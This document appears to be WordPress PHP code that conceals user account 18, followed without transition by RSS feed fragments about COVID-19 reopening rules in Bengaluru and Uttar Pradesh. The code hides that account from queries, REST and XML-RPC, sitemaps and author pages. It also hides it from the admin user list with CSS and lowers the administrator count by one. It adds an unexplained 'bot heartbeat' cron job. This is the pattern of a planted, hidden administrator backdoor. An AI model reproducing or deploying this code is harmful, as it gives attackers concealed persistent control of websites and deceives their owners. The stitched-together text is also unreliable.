add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
        );
    }
}, 1 );

add_action( 'template_redirect', function() {
    if ( is_author() ) {
        $author = get_queried_object();
        if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
            global $wp_query;
            $wp_query->set_404();
            status_header( 404 );
            nocache_headers();
        }
    }
} );

add_action( 'pre_user_query', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    global $wpdb;
    $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );

add_action( 'pre_get_users', function( $q ) {
    if ( current_user_can( 'manage_options' ) ) {
        return;
    }
    $exclude   = (array) $q->get( 'exclude' );
    $exclude[] = 18;
    $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );

add_filter( 'wp_dropdown_users_args', function( $a ) {
    $exclude   = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
    $exclude[] = 18;

    $a['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $a;
} );

add_filter( 'rest_user_query', function( $args, $request ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;

    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );

    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

add_filter( 'xmlrpc_methods', function( $methods ) {
    unset(
        $methods['wp.getUsers'],
        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
    }
} );

add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
} );
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					<description><![CDATA[<p>The government restored normal business activity in Bengaluru on Monday, 5 July with a series of relaxation announced in the aftermath of the second wave of COVID-19 in Bengaluru. The administration has also abolished the weekend curfew &#8211; applied from 07:00 pm on Friday to 5:00 am on Monday – but stated it continues to [&#8230;]</p>
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										<content:encoded><![CDATA[<p>The government restored normal business activity in Bengaluru on Monday, 5 July with a series of relaxation announced in the aftermath of the second wave of COVID-19 in Bengaluru. The administration has also abolished the weekend curfew &#8211; applied from 07:00 pm on Friday to 5:00 am on Monday – but stated it continues to maintain the neighbourhood night curfew.</p>
<p>Full flexibility to operate government and private offices. Shops and other facilities may continue their business hours till 9 p.m. &#8211; an extension of four months. Metro Namma and other public transit can also work fully. Swimming pools and sports complexes open from 5 July, however only sports members can access.</p>
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					<description><![CDATA[<p>The Chief Minister of Uttar Pradesh, Yogi Adityanath, declared the further relaxation of limitations on coronaviruses in Uttar Pradesh. In accordance with the New Guidelines that take place from 5 July from 7am, all fitness centres, cinemas, multiplexes and sports stadiums will remain open five days a week, with strict adherence to Covid-19&#8217;s conduct, from [&#8230;]</p>
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										<content:encoded><![CDATA[<p>The Chief Minister of Uttar Pradesh, Yogi Adityanath, declared the further relaxation of limitations on coronaviruses in Uttar Pradesh. In accordance with the New Guidelines that take place from 5 July from 7am, all fitness centres, cinemas, multiplexes and sports stadiums will remain open five days a week, with strict adherence to Covid-19&#8217;s conduct, from 7 a.m. to 9 p.m.</p>
<p>The gyms in quarantine zones must be shuttered and those open must guarantee social distance. On order to guarantee social distance in the premises, certain markers must be made at adequate distance.</p>
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